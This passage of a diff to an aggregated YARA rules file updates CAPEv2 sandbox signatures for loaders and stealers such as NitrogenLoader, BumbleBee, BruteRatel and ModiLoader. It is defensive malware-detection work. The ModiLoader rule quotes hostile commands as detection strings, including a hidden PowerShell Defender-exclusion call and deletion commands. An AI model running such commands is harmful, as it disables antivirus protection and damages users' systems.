= {8B ?? 24 [1-4] 33 C8 8B C1 48 63 4C 24 ?? 48 8B 94 24 [4] 88 04 0A} + $decrypt3 = {8B 8C 24 ?? ?? ?? ?? 2B C8 8B C1 48 63 4C 24 ?? 48 8B 94 24 [4] 88 04 0A} + $key = {74 ?? E8 [4] 85 C0 75 ?? 4? 8B 0D [3] 00 4? 8D 15 [3] 00 E8} + $taskman_1 = {E8 [4] B9 61 00 00 00 88 84 24 [4] E8 [4] B9 73 00 00 00 88 84 24 [4] E8 [4] B9 6B 00 00 00 88 84 24 [4] E8 [3] FF} + $taskman_2 = {B9 4D 00 00 00 88 84 24 [4] E8 [4] B9 61 00 00 00 88 84 24 [4] E8 [4] B9 6E 00 00 00 88 84 24 [4] E8 [3] FF} + $taskman_3 = {B9 61 00 00 00 88 84 24 [4] E8 [4] B9 67 00 00 00 88 84 24 [4] E8 [4] B9 65 00 00 00 88 84 24 [4] E8 [3] FF} + $taskman_4 = {B9 72 00 00 00 88 84 24 [4] E8 [4] 31 C9 88 84 24 [4] E8 [3] FF} + $installers_1 = {B9 49 00 00 00 E8 [4] B9 6E 00 00 00 88 84 24 [4] E8 [4] B9 73 00 00 00 88 84 24 [4] E8 [3] FF} + $installers_2 = {B9 74 00 00 00 88 84 24 [4] E8 [4] B9 61 00 00 00 88 84 24 [4] E8 [4] B9 6C 00 00 00 88 84 24 [4] E8 [3] FF} + $installers_3 = {B9 6C 00 00 00 88 84 24 [4] E8 [4] B9 65 00 00 00 88 84 24 [4] E8 [3] FF} + $installers_4 = {B9 72 00 00 00 88 84 24 [4] E8 [4] B9 73 00 00 00 88 84 24 [4] E8 [3] FF} + $rc4decrypt_1 = {48 89 ?? 4? 89 ?? E8 [4] 4? 8B ?? 24 [1-4] 4? 89 ?? 4? 89 ?? 4? 89 C1 [0-1] 89 ?? E8 [4] 4? 89} + $rc4decrypt_2 = {E8 [4] 8B ?? 24 [1-4] 4? 89 ?? 48 89 ?? 4? 89 C1 E8 [3] FF} condition: - $loader and any of ( $decrypt* ) + any of ( $decrypt* ) or ( $key and ( 3 of ( $taskman_* ) or 3 of ( $installers* ) and 1 of ( $rc4decrypt_* ) ) ) } rule CAPE_Guloaderprecursor : FILE { @@ -62497,8 +62133,8 @@ rule CAPE_Guloaderprecursor : FILE date = "2020-12-29" modified = "2023-10-02" reference = "https://github.com/kevoreilly/CAPEv2" - source_url = "https://github.com/kevoreilly/CAPEv2/blob/7ace95378cd09c8e26138125761b13750dfc6cb4/analyzer/windows/data/yara/Guloader.yar#L17-L28" - license_url = "https://github.com/kevoreilly/CAPEv2/blob/7ace95378cd09c8e26138125761b13750dfc6cb4/LICENSE" + source_url = "https://github.com/kevoreilly/CAPEv2/blob/a9a0887dab232f52c59e955b9984dd494c47ce6b/analyzer/windows/data/yara/Guloader.yar#L17-L28" + license_url = "https://github.com/kevoreilly/CAPEv2/blob/a9a0887dab232f52c59e955b9984dd494c47ce6b/LICENSE" logic_hash = "ea05c352739366a03da302074b01537382ba26f7fd5049004f156e47d284f070" score = 75 quality = 70 @@ -62512,57 +62148,137 @@ rule CAPE_Guloaderprecursor : FILE condition: 2 of them and not uint16( 0 ) == 0x5A4D } -rule CAPE_Mysterysnail +rule CAPE_Privateloader { meta: - description = "MysterySnail anti-sandbox bypass" + description = "PrivateLoader indirect syscall capture" author = "kevoreilly" - id = "dfeb820a-3101-5588-8348-3b62a6900538" - date = "2021-10-16" - modified = "2021-10-16" + id = "3a0b16da-ec84-5761-bcf2-106362c5667d" + date = "2024-10-04" + modified = "2024-10-04" reference = "https://github.com/kevoreilly/CAPEv2" - source_url = "https://github.com/kevoreilly/CAPEv2/blob/7ace95378cd09c8e26138125761b13750dfc6cb4/analyzer/windows/data/yara/MysterySnail.yar#L1-L11" - license_url = "https://github.com/kevoreilly/CAPEv2/blob/7ace95378cd09c8e26138125761b13750dfc6cb4/LICENSE" - logic_hash = "9402dbbbfdd286e2309ee83fc08194f70f73657a3a4e3785dfbcb564dbee86a8" + source_url = "https://github.com/kevoreilly/CAPEv2/blob/a9a0887dab232f52c59e955b9984dd494c47ce6b/analyzer/windows/data/yara/PrivateLoader.yar#L1-L12" + license_url = "https://github.com/kevoreilly/CAPEv2/blob/a9a0887dab232f52c59e955b9984dd494c47ce6b/LICENSE" + logic_hash = "204a86bb3743f19fed0fe55ff5ccd716661f7f315b5966a29e434ccb3e160526" score = 75 quality = 70 tags = "" - cape_options = "bp0=$anti+62,action0=skip,count=0" + cape_options = "clear,sysbp=$syscall*-2" + packed = "075d0dafd7b794fbabaf53d38895cfd7cffed4a3fe093b0fc7853f3b3ce642a4" strings: - $anti = {F2 0F 10 [3] 66 0F 2F 05 [4] 76 0A 8B [3] FF C0 89 [3] B9 5B 05 00 00 FF 15 [4] E8 [4] 89 [3] 8B [3] 8B [3] 2B C8 8B C1 3B [3] 7E 16} + $syscall = {48 31 C0 4C 8B 19 8B 41 10 48 8B 49 08 49 89 CA 41 FF E3} condition: any of them } -rule CAPE_Blister : FILE +rule CAPE_Bumblebee : FILE { meta: - description = "Blister Sleep Bypass" - author = "kevoreilly" - id = "34657bab-f100-5ea8-9111-da2806f46b79" - date = "2022-05-10" - modified = "2024-05-09" + description = "BumbleBee Anti-VM Bypass" + author = "enzo & kevoreilly" + id = "85e2c9fd-86de-57c8-99ec-de2cc3996876" + date = "2022-04-21" + modified = "2023-02-08" reference = "https://github.com/kevoreilly/CAPEv2" - source_url = "https://github.com/kevoreilly/CAPEv2/blob/7ace95378cd09c8e26138125761b13750dfc6cb4/analyzer/windows/data/yara/Blister.yar#L1-L17" - license_url = "https://github.com/kevoreilly/CAPEv2/blob/7ace95378cd09c8e26138125761b13750dfc6cb4/LICENSE" - logic_hash = "aba379b93c85241cf250829832b2c8a5eaafb3abd0ff955dbaf0d06489c00deb" + source_url = "https://github.com/kevoreilly/CAPEv2/blob/a9a0887dab232f52c59e955b9984dd494c47ce6b/analyzer/windows/data/yara/BumbleBee.yar#L34-L46" + license_url = "https://github.com/kevoreilly/CAPEv2/blob/a9a0887dab232f52c59e955b9984dd494c47ce6b/LICENSE" + logic_hash = "0a632a0b30b28d544880eb1cfdd85e95f455c343d60f8d6922d4196ef7415961" score = 75 quality = 70 tags = "FILE" - cape_options = "bp0=$sleep1+6,bp1=$sleep2+7,action0=setsignflag,action1=clearcarryflag,count=3" - packed = "0a7778cf6f9a1bd894e89f282f2e40f9d6c9cd4b72be97328e681fe32a1b1a00" - packed = "afb77617a4ca637614c429440c78da438e190dd1ca24dc78483aa731d80832c2" + cape_options = "bp0=$antivm1+2,bp1=$antivm2+2,bp1=$antivm3+38,action0=jmp,action1=skip,count=0,force-sleepskip=1" strings: - $sleep1 = {FF FF 83 7D F0 00 (E9|0F 8?)} - $sleep2 = {81 7D D8 90 B2 08 00 (E9|0F 8?)} - $protect = {50 6A 20 8D 45 ?? 50 8D 45 ?? 50 6A FF FF D7} - $lock = {56 33 F6 B9 FF FF FF 7F 89 75 FC 8B C1 F0 FF 45 FC 83 E8 01 75 F7} - $comp = {6A 04 59 A1 [4] 8B 78 04 8B 75 08 33 C0 F3 A7 75 0B 8B 45 0C 83 20 00 33 C0 40 EB 02 33 C0} + $antivm1 = {84 C0 74 09 33 C9 FF [4] 00 CC 33 C9 E8 [3] 00 4? 8B C8 E8} + $antivm2 = {84 C0 0F 85 [2] 00 00 33 C9 E8 [4] 48 8B C8 E8 [4] 48 8D 85} + $antivm3 = {33 C9 E8 [4] 48 8B C8 E8 [4] 83 CA FF 48 8B 0D [4] FF 15 [4] E8 [4] 84 c0} condition: - uint16( 0 ) == 0x5A4D and 2 of ( $protect , $lock , $comp ) and all of ( $sleep* ) + uint16( 0 ) == 0x5A4D and any of them +} +rule CAPE_Ursnifv3 +{ + meta: + description = "Ursnif Config Extraction" + author = "kevoreilly" + id = "4170b638-e51b-59c6-956a-50ff82f629ba" + date = "2021-06-17" + modified = "2023-03-23" + reference = "https://github.com/kevoreilly/CAPEv2" + source_url = "https://github.com/kevoreilly/CAPEv2/blob/a9a0887dab232f52c59e955b9984dd494c47ce6b/analyzer/windows/data/yara/UrsnifV3.yar#L1-L16" + license_url = "https://github.com/kevoreilly/CAPEv2/blob/a9a0887dab232f52c59e955b9984dd494c47ce6b/LICENSE" + logic_hash = "d679546e37ee58087fce75920b2ce4e6d2b9ae55fb1ef80d14ec14309396757c" + score = 75 + quality = 70 + tags = "" + cape_options = "br0=$crypto32_1-48,action1=dump:ebx::eax,bp2=$crypto32_3+50,action2=dump:ebx::eax,bp3=$crypto32_4+11,action3=dump:eax::ecx,typestring=UrsnifV3 Config,count=1" + packed = "75827be0c600f93d0d23d4b8239f56eb8c7dc4ab6064ad0b79e6695157816988" + packed = "5d6f1484f6571282790d64821429eeeadee71ba6b6d566088f58370634d2c579" + + strings: + $crypto32_1 = {8B C3 83 EB 01 85 C0 75 0D 0F B6 16 83 C6 01 89 74 24 14 8D 58 07 8B C2 C1 E8 07 83 E0 01 03 D2 85 C0 0F 84 AB 01 00 00 8B C3 83 EB 01 85 C0 89 5C 24 20 75 13 0F B6 16 83 C6 01 BB 07 00 00 00} + $crypto32_3 = {F6 46 03 02 75 5? 8B 46 10 40 50 E8 [4] 8B D8 89 5C 24 1C 85 DB 74 41 F6 46 03 01 74 53 8B 46 10 89 44 24 1C 8B 46 0C 53 03 C7 E8 [4] 59} + $crypto32_4 = {C7 44 24 10 01 00 00 00 8B 4E 10 C6 04 08 00 8B 4D ?? 89 01 8B 46 ?? 8B 4D ?? 89 01 8B 44 24 10 5F 5E 5B 8B E5 5D C2 0C 00} + $cpuid = {8B C4 FF 18 8B F0 33 C0 0F A2 66 8C D8 66 8E D0 8B E5 8B C6 5E 5B 5D C3} + + condition: + any of ( $crypto32* ) and $cpuid +} +rule CAPE_Vbcrypter +{ + meta: + description = "VBCrypter anti-hook Bypass" + author = "kevoreilly" + id = "2e010dfd-5096-5e81-af9b-174322a47d87" + date = "2021-03-28" + modified = "2021-03-28" + reference = "https://github.com/kevoreilly/CAPEv2" + source_url = "https://github.com/kevoreilly/CAPEv2/blob/a9a0887dab232f52c59e955b9984dd494c47ce6b/analyzer/windows/data/yara/VBCrypter.yar#L1-L11" + license_url = "https://github.com/kevoreilly/CAPEv2/blob/a9a0887dab232f52c59e955b9984dd494c47ce6b/LICENSE" + logic_hash = "a62bca62ab624ab1a2c2e612c5b7e6d543006026a49c07c46800499e31e41c4e" + score = 75 + quality = 70 + tags = "" + cape_options = "bp0=$antihook-12,action0=jmp,count=0" + + strings: + $antihook = {43 39 C3 0F 84 ?? 00 00 00 80 3B B8 75 ?? 83 7B 01 00 75 ?? 80 7B 05 BA 75 ?? 8B 53 06 83 C3 0A 31 C9} + + condition: + any of them +} +rule CAPE_Gettickcountantivm +{ + meta: + description = "GetTickCountAntiVM bypass" + author = "kevoreilly" + id = "d90b9768-0525-5963-9817-e3a53b1d4cf3" + date = "2021-12-14" + modified = "2022-02-25" + reference = "https://github.com/kevoreilly/CAPEv2" + source_url = "https://github.com/kevoreilly/CAPEv2/blob/a9a0887dab232f52c59e955b9984dd494c47ce6b/analyzer/windows/data/yara/GetTickCountAntiVM.yar#L1-L20" + license_url = "https://github.com/kevoreilly/CAPEv2/blob/a9a0887dab232f52c59e955b9984dd494c47ce6b/LICENSE" + hash = "662bc7839ed7ddd82d5fdafa29fafd9a9ec299c28820fe4104fbba9be1a09c42" + hash = "00f1537b13933762e1146e41f3bac668123fac7eacd0aa1f7be0aa37a91ef3ce" + hash = "549bca48d0bac94b6a1e6eb36647cd007fed5c0e75a0e4aa315ceabdafe46541" + hash = "90c29a66209be554dfbd2740f6a54d12616da35d0e5e4af97eb2376b9d053457" + logic_hash = "9cdb0b2d2e058e1858c2f2baad67005a2019fbbdcb7ca54571c8d20dfbf33471" + score = 75 + quality = 70 + tags = "" + cape_options = "bp0=$antivm1-13,bp0=$antivm5-40,bp0=$antivm6,action0=wret,hc0=1,bp1=$antivm2-6,action1=wret,hc1=1,count=1,bp2=$antivm3+42,action2=jmp:96,bp3=$antivm4-9,action3=wret,hc3=1" + + strings: + $antivm1 = {57 FF D6 FF D6 BF 01 00 00 00 FF D6 F2 0F 10 0D [4] 47 66 0F 6E C7 F3 0F E6 C0 66 0F 2F C8 73} + $antivm2 = {F2 0F 11 45 ?? FF 15 [4] 6A 00 68 10 27 00 00 52 50 E8 [4] 8B C8 E8 [4] F2 0F 59 45} + $antivm3 = {0F 57 C0 E8 [4] 8B 35 [4] BF 01 00 00 00 FF D6 F2 0F 10 0D [4] 47 66 0F 6E C7 F3 0F E6 C0 66 0F 2F C8 73} + $antivm4 = {F2 0F 11 45 EC FF 15 [4] 8B DA 8B C8 BA [4] 89 5D FC F7 E2 BF [4] 89 45 F4 8B F2 8B C1 B9} + $antivm5 = {BB 01 00 00 00 8B FB 90 FF 15 [4] FF C7 66 0F 6E C7 F3 0F E6 C0 66 0F 2F F8 73 EA} + $antivm6 = {48 81 EC 88 00 00 00 0F 57 C0 F2 0F 11 44 [2] F2 0F 10 05 [4] F2 0F 11 44 [2] F2 0F 10 05 [4] F2 0F 11} + + condition: + any of them } rule CAPE_Darkgate { @@ -62573,8 +62289,8 @@ rule CAPE_Darkgate date = "2024-02-26" modified = "2024-02-26" reference = "https://github.com/kevoreilly/CAPEv2" - source_url = "https://github.com/kevoreilly/CAPEv2/blob/7ace95378cd09c8e26138125761b13750dfc6cb4/analyzer/windows/data/yara/DarkGate.yar#L1-L17" - license_url = "https://github.com/kevoreilly/CAPEv2/blob/7ace95378cd09c8e26138125761b13750dfc6cb4/LICENSE" + source_url = "https://github.com/kevoreilly/CAPEv2/blob/a9a0887dab232f52c59e955b9984dd494c47ce6b/analyzer/windows/data/yara/DarkGate.yar#L1-L17" + license_url = "https://github.com/kevoreilly/CAPEv2/blob/a9a0887dab232f52c59e955b9984dd494c47ce6b/LICENSE" hash = "c1d35921f4fc3bac681a3d5148f517dc0ec90ab8c51e267c8c6cd5b1ca3dc085" logic_hash = "25c0e77a83676c6a18445f8df0b1f7a9148de5f64eeb532f9a4f4d4652dd8191" score = 75 @@ -62593,1859 +62309,1757 @@ rule CAPE_Darkgate condition: ($alphabet ) and ( any of ( $part* ) or all of ( $config* ) ) } -rule CAPE_Aurastealerbypass +rule CAPE_Rdtscpantivm { meta: - description = "Bypass AuraStealer" - author = "enzok" - id = "e510f46b-de7c-50d1-bff3-97c3acf0452e" - date = "2025-09-02" - modified = "2025-09-02" + description = "RdtscpAntiVM bypass" + author = "kevoreilly" + id = "11dc634b-1e2f-55b4-be60-98e51de42d43" + date = "2021-12-11" + modified = "2021-12-11" reference = "https://github.com/kevoreilly/CAPEv2" - source_url = "https://github.com/kevoreilly/CAPEv2/blob/7ace95378cd09c8e26138125761b13750dfc6cb4/analyzer/windows/data/yara/AuraStealer.yar#L1-L14" - license_url = "https://github.com/kevoreilly/CAPEv2/blob/7ace95378cd09c8e26138125761b13750dfc6cb4/LICENSE" - logic_hash = "ae174c96c262b1734c58bd6c5f7112221b08596c180612e4970acada35dbd070" + source_url = "https://github.com/kevoreilly/CAPEv2/blob/a9a0887dab232f52c59e955b9984dd494c47ce6b/analyzer/windows/data/yara/RdtscpAntiVM.yar#L1-L11" + license_url = "https://github.com/kevoreilly/CAPEv2/blob/a9a0887dab232f52c59e955b9984dd494c47ce6b/LICENSE" + logic_hash = "be0f9b52fb630730a38160f4ad2d50b6b4bea5edd82e3ea4d1e257cf7b090910" score = 75 quality = 70 tags = "" - cape_options = "bp0=$antivm1+3,action0=skip,count=0" - packed = "a9c47f10d5eb77d7d6b356be00b4814a7c1e5bb75739b464beb6ea03fc36cc85" + cape_options = "nop-rdtscp=1" strings: - $antivm1 = {39 04 11 0f 94 C3 8B 44 ?? ?? 85 C0} - $conf = {8D BE ?? 00 00 00 68 00 40 00 00 5? 5? FF D1 83 C4 ?? 8B 07 8B 57 04 29 C2} - $keyexpansion = {31 C0 8A 1C 82 88 1C 81 8A 5C 82 01 88 5C 81 01 8A 5C 82 02 88 5C 81 02 8A 5C 82 03 88 5C 81 03 4? 83 F8 08 75 ?? B? 08 00 00 00} + $antivm = {46 0F 01 F9 [0-4] 66 0F 6E C6 F3 0F E6 C0 66 0F 2F ?? 73} condition: - all of them + any of them } -rule CAPE_Loadersyscall +rule CAPE_Socks5Systemz : FILE { meta: - description = "Loader Syscall" - author = "enzok" - id = "45193b38-938e-55cf-9ea0-7bd48f0d77e4" - date = "2024-10-29" - modified = "2025-07-23" + description = "Socks5Systemz config extraction" + author = "kevoreilly" + id = "ef14953a-2b48-54f4-8d15-c07c7459103e" + date = "2024-05-22" + modified = "2025-05-23" reference = "https://github.com/kevoreilly/CAPEv2" - source_url = "https://github.com/kevoreilly/CAPEv2/blob/7ace95378cd09c8e26138125761b13750dfc6cb4/analyzer/windows/data/yara/NitrogenLoader.yar#L1-L13" - license_url = "https://github.com/kevoreilly/CAPEv2/blob/7ace95378cd09c8e26138125761b13750dfc6cb4/LICENSE" - logic_hash = "3c7ffd8b95032cffecff7fa7e5f5f561cce13e1109f6a9b30bc743642b495e45" + source_url = "https://github.com/kevoreilly/CAPEv2/blob/a9a0887dab232f52c59e955b9984dd494c47ce6b/analyzer/windows/data/yara/Socks5Systemz.yar#L1-L19" + license_url = "https://github.com/kevoreilly/CAPEv2/blob/a9a0887dab232f52c59e955b9984dd494c47ce6b/LICENSE" + logic_hash = "7e324bacd1ea57585435b6a5a4c93bda63ca146c100f2361a1c5530b87668299" score = 75 quality = 70 - tags = "" - cape_options = "sysbp=$syscall*-2,count=0" + tags = "FILE" + cape_options = "br0=user32::wsprintfA,br1=ntdll::sprintf,action2=string:[esp],action3=string:[esp],count=0,typestring=Socks5Systemz Config" + packed = "9b997d0de3fe83091726919a0dc653e22f8f8b20b1bb7d0b8485652e88396f29" strings: - $makehashes = {48 89 4C 24 ?? 48 89 54 24 ?? 4? 89 44 24 ?? 4? 89 4C 24 ?? 4? 83 EC ?? B? [4] E8 [3] 00} - $number = {49 89 C3 B? [4] E8 [3] 00} - $syscall = {48 83 C4 ?? 4? 8B 4C 24 ?? 4? 8B 54 24 ?? 4? 8B 44 24 ?? 4? 8B 4C 24 ?? 4? 89 CA 4? FF E3} + $chunk1 = {0F B6 84 8A [4] E9 [3] (00|FF)} + $chunk2 = {0F B6 04 8D [4] E9 [3] (00|FF)} + $chunk3 = {66 0F 6F 05 [4] E9 [3] (00|FF)} + $chunk4 = {F0 0F B1 95 [4] E9 [3] (00|FF)} + $chunk5 = {83 FA 04 E9 [3] (00|FF)} + $chunk6 = {8A 04 8D [4] E9 [3] (00|FF)} + $chunk7 = {83 C4 04 83 C4 04 E9} + $chunk8 = {83 C2 04 87 14 24 5C E9} condition: - all of them + uint16( 0 ) == 0x5A4D and 5 of them } -rule CAPE_Nitrogenloaderaes +rule CAPE_Modiloader : FILE { meta: - description = "NitrogenLoader AES and IV" - author = "enzok" - id = "c79a00af-52f9-5f07-9c58-e8964e70986f" - date = "2024-10-29" - modified = "2025-07-23" + description = "ModiLoader detonation shim" + author = "kevoreilly" + id = "64f9aa51-d668-5d40-9781-c26970acf781" + date = "2023-10-19" + modified = "2025-01-31" reference = "https://github.com/kevoreilly/CAPEv2" - source_url = "https://github.com/kevoreilly/CAPEv2/blob/7ace95378cd09c8e26138125761b13750dfc6cb4/analyzer/windows/data/yara/NitrogenLoader.yar#L15-L27" - license_url = "https://github.com/kevoreilly/CAPEv2/blob/7ace95378cd09c8e26138125761b13750dfc6cb4/LICENSE" - logic_hash = "de8ed0e98948cfadfd579e334fd9ce9f777ddbd988de897529ba71cb5eb2d396" + source_url = "https://github.com/kevoreilly/CAPEv2/blob/a9a0887dab232f52c59e955b9984dd494c47ce6b/analyzer/windows/data/yara/ModiLoader.yar#L1-L13" + license_url = "https://github.com/kevoreilly/CAPEv2/blob/a9a0887dab232f52c59e955b9984dd494c47ce6b/LICENSE" + hash = "1f0cbf841a6bc18d632e0bc3c591266e77c99a7717a15fc4b84d3e936605761f" + logic_hash = "9e64e0c40192cc832a1ffa7b3ac65a704596af82515d03706cd7aa1f4498f32f" score = 75 quality = 70 - tags = "" - cape_options = "bp0=$keyiv0+8,action0=dump:ecx::64,hc0=1,bp1=$keyiv0*-4,action1=dump:ecx::32,hc1=1,count=0" + tags = "FILE" + cape_options = "exclude-apis=NtAllocateVirtualMemory:NtProtectVirtualMemory" strings: - $keyiv0 = {48 8B 8C 24 [4] E8 [3] 00 4? 89 84 24 [4] 4? 8B 84 24 [4] 4? 89 84 24 [4] 4? 8B 8C 24 [4] E8 [3] 00} - $keyiv1 = {48 89 84 24 [4] 4? 8B 84 24 [4] 4? 8B 94 24 [4] 4? 8D 8C 24 [4] E8 [3] FF} - $keyiv2 = {48 63 84 24 [4] 4? 8B C0 4? 8B 94 24 [4] 4? 8D 8C 24 [4] E8 [3] FF 4? 8B 84 24} + $epilog1 = {81 C2 A1 03 00 00 87 D1 29 D3 33 C0 5A 59 59 64 89 10 68} + $epilog2 = {6A 00 6A 01 8B 45 ?? 50 FF 55 ?? 33 C0 5A 59 59 64 89 10 68} condition: - all of them + uint16( 0 ) == 0x5a4d and all of them } -rule CAPE_Nitrogenloaderbypass +rule CAPE_Modiloaderold : FILE { meta: - description = "Nitrogen Loader Exit Bypass" - author = "enzok" - id = "397b0b79-d569-5a71-bcac-ce0d64f706e6" - date = "2024-10-29" - modified = "2025-07-23" + description = "ModiLoader detonation shim" + author = "ditekSHen" + id = "2b3fd8ec-b672-574b-9b50-1a9ca9f43299" + date = "2023-10-19" + modified = "2025-01-31" reference = "https://github.com/kevoreilly/CAPEv2" - source_url = "https://github.com/kevoreilly/CAPEv2/blob/7ace95378cd09c8e26138125761b13750dfc6cb4/analyzer/windows/data/yara/NitrogenLoader.yar#L29-L41" - license_url = "https://github.com/kevoreilly/CAPEv2/blob/7ace95378cd09c8e26138125761b13750dfc6cb4/LICENSE" - logic_hash = "3a034d3ddd18723ea1f91814c8c2a2c47a749dfd1496a5d4777d8ff8bfab3457" + source_url = "https://github.com/kevoreilly/CAPEv2/blob/a9a0887dab232f52c59e955b9984dd494c47ce6b/analyzer/windows/data/yara/ModiLoader.yar#L15-L53" + license_url = "https://github.com/kevoreilly/CAPEv2/blob/a9a0887dab232f52c59e955b9984dd494c47ce6b/LICENSE" + logic_hash = "fc006377e6d41515503b0b234ff87f59d930a7d9f8b32d2e072de79b9c52ddc4" + score = 75 + quality = 66 + tags = "FILE" + cape_options = "ntdll-protect=0" + + strings: + $x1 = "*()%@5YT!@#G__T@#$%^&*()__#@$#57$#!@" fullword wide + $x2 = "dntdll" fullword wide + $x3 = "USERPROFILE" fullword wide + $s1 = "%s, ProgID: \"%s\"" ascii + $s2 = "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run" ascii + $s3 = "responsetext" ascii + $s4 = "C:\\Users\\Public\\" ascii + $s5 = "[InternetShortcut]" fullword ascii + $c1 = "start /min powershell -WindowStyle Hidden -inputformat none -outputformat none -NonInteractive -Command \"Add-MpPreference -ExclusionPath 'C:\\Users'\" & exit" ascii nocase + $c2 = "mkdir \"\\\\?\\C:\\Windows \"" ascii nocase + $c3 = "mkdir \"\\\\?\\C:\\Windows \\System32\"" ascii nocase + $c4 = "ECHO F|xcopy \"" ascii nocase + $c5 = "\"C:\\Windows \\System32\" /K /D /H /Y" ascii nocase + $c6 = "ping 127.0.0.1 -n 6 > nul" ascii nocase + $c7 = "del /q \"C:\\Windows \\System32\\*\"" ascii nocase + $c8 = "rmdir \"C:\\Windows \\System32\"" ascii nocase + $c9 = "rmdir \"C:\\Windows \"" ascii nocase + $g1 = "powershell" ascii nocase + $g2 = "mkdir \"\\\\?\\C:\\" ascii nocase + $g3 = "\" /K /D /H /Y" ascii nocase + $g4 = "ping 127.0.0.1 -n" ascii nocase + $g5 = "del /q \"" ascii nocase + $g6 = "rmdir \"" ascii nocase + + condition: + uint16( 0 ) == 0x5a4d and ( ( 2 of ( $x* ) and ( all of ( $g* ) or ( 2 of ( $s* ) and 2 of ( $c* ) ) ) ) or ( all of ( $s* ) and ( 2 of ( $c* ) or all of ( $g* ) ) ) or ( 4 of ( $c* ) and ( 1 of ( $x* ) or 2 of ( $s* ) ) ) or ( all of ( $g* ) and 4 of ( $c* ) ) or 13 of them ) +} +rule CAPE_Bruteratelsyscall +{ + meta: + description = "BruteRatel Syscall Bypass" + author = "kevoreilly" + id = "0ddc3e0a-c4ca-5342-b029-107ce1f2751e" + date = "2024-07-11" + modified = "2024-07-22" + reference = "https://github.com/kevoreilly/CAPEv2" + source_url = "https://github.com/kevoreilly/CAPEv2/blob/a9a0887dab232f52c59e955b9984dd494c47ce6b/analyzer/windows/data/yara/BruteRatel.yar#L1-L12" + license_url = "https://github.com/kevoreilly/CAPEv2/blob/a9a0887dab232f52c59e955b9984dd494c47ce6b/LICENSE" + logic_hash = "5ed054b3cd5d2659c250945d55d6adac90945963c34ad2af0f8d7436141e86b6" score = 75 quality = 70 tags = "" - cape_options = "bp2=$exit-2,action2=jmp,count=0" + cape_options = "sysbp=$syscall1+6,sysbp=$syscall2+8" strings: - $string1 = "LoadResource" - $syscall = {48 83 C4 ?? 4? 8B 4C 24 ?? 4? 8B 54 24 ?? 4? 8B 44 24 ?? 4? 8B 4C 24 ?? 4? 89 CA 4? FF E3} - $exit = {33 C9 E8 [4] E8 [4] 48 8D 84 24 [4] 48 89 44 24 ?? 4? B? E4 00 00 00 4? 8B 05 [4] B? 03 00 00 00 48 8D} + $syscall1 = {49 89 CA 4? 89 ?? (41 FF|FF)} + $syscall2 = {49 89 CA 48 8B 44 24 ?? FF 64 24} condition: all of them } -rule CAPE_Nitrogenloaderconfig +rule CAPE_Bruteratelpacker { meta: - description = "NitrogenLoader Config Extraction" - author = "enzok" - id = "0c8d0655-0592-52b5-b51d-3acdb15a4864" - date = "2024-10-29" - modified = "2025-07-23" + description = "BruteRatel Outer Encryption Layer" + author = "kevoreilly" + id = "631083be-7058-590a-a394-984545f42ad7" + date = "2024-07-11" + modified = "2024-07-22" reference = "https://github.com/kevoreilly/CAPEv2" - source_url = "https://github.com/kevoreilly/CAPEv2/blob/7ace95378cd09c8e26138125761b13750dfc6cb4/analyzer/windows/data/yara/NitrogenLoader.yar#L43-L66" - license_url = "https://github.com/kevoreilly/CAPEv2/blob/7ace95378cd09c8e26138125761b13750dfc6cb4/LICENSE" - logic_hash = "06d49ebf3f67476c83a77734dff0245a51027a35d92e5af07bb9146db5b156ca" + source_url = "https://github.com/kevoreilly/CAPEv2/blob/a9a0887dab232f52c59e955b9984dd494c47ce6b/analyzer/windows/data/yara/BruteRatel.yar#L14-L26" + license_url = "https://github.com/kevoreilly/CAPEv2/blob/a9a0887dab232f52c59e955b9984dd494c47ce6b/LICENSE" + logic_hash = "2ccb17efe378d034df34d20d7580c58171d0fd11c18fef6c9a23f1ba238514e6" score = 75 quality = 70 tags = "" - cape_options = "bp0=$decrypt1*+1,bp1=$key*,hc0=1,count=0,action0=string:rcx,action1=string:rdx,typestring=NitrogenLoader Config" + cape_options = "bp1=$outer*,action1=scan,count=0" strings: - $decrypt1 = {48 63 4? 24 ?? 33 D2 48 [0-3] F7 B4 24 [4] 48 8B C2 48 8B 8C 24 [4] 0F BE 04 01} - $decrypt2 = {8B ?? 24 [1-4] 33 C8 8B C1 48 63 4C 24 ?? 48 8B 94 24 [4] 88 04 0A} - $decrypt3 = {8B 8C 24 ?? ?? ?? ?? 2B C8 8B C1 48 63 4C 24 ?? 48 8B 94 24 [4] 88 04 0A} - $key = {74 ?? E8 [4] 85 C0 75 ?? 4? 8B 0D [3] 00 4? 8D 15 [3] 00 E8} - $taskman_1 = {E8 [4] B9 61 00 00 00 88 84 24 [4] E8 [4] B9 73 00 00 00 88 84 24 [4] E8 [4] B9 6B 00 00 00 88 84 24 [4] E8 [3] FF} - $taskman_2 = {B9 4D 00 00 00 88 84 24 [4] E8 [4] B9 61 00 00 00 88 84 24 [4] E8 [4] B9 6E 00 00 00 88 84 24 [4] E8 [3] FF} - $taskman_3 = {B9 61 00 00 00 88 84 24 [4] E8 [4] B9 67 00 00 00 88 84 24 [4] E8 [4] B9 65 00 00 00 88 84 24 [4] E8 [3] FF} - $taskman_4 = {B9 72 00 00 00 88 84 24 [4] E8 [4] 31 C9 88 84 24 [4] E8 [3] FF} - $installers_1 = {B9 49 00 00 00 E8 [4] B9 6E 00 00 00 88 84 24 [4] E8 [4] B9 73 00 00 00 88 84 24 [4] E8 [3] FF} - $installers_2 = {B9 74 00 00 00 88 84 24 [4] E8 [4] B9 61 00 00 00 88 84 24 [4] E8 [4] B9 6C 00 00 00 88 84 24 [4] E8 [3] FF} - $installers_3 = {B9 6C 00 00 00 88 84 24 [4] E8 [4] B9 65 00 00 00 88 84 24 [4] E8 [3] FF} - $installers_4 = {B9 72 00 00 00 88 84 24 [4] E8 [4] B9 73 00 00 00 88 84 24 [4] E8 [3] FF} - $rc4decrypt_1 = {48 89 ?? 4? 89 ?? E8 [4] 4? 8B ?? 24 [1-4] 4? 89 ?? 4? 89 ?? 4? 89 C1 [0-1] 89 ?? E8 [4] 4? 89} - $rc4decrypt_2 = {E8 [4] 8B ?? 24 [1-4] 4? 89 ?? 48 89 ?? 4? 89 C1 E8 [3] FF} + $outer = {83 45 F8 01 81 7D F8 FF 00 00 00 7E ?? 83 45 FC 01 8B 45 FC 3B 45 ?? 7E ?? 48} + $inner = {88 E3 32 1C 0E 88 5C 15 00 48 8D 49 01 48 8D 52 01 38 C1 76 ?? 48 01 CE EB ?? FF} + $date = {48 8B 17 48 85 D2 0F 85 [2] 00 00 8B 47 08 85 C0 0F 85 [2] 00 00} condition: - any of ( $decrypt* ) or ( 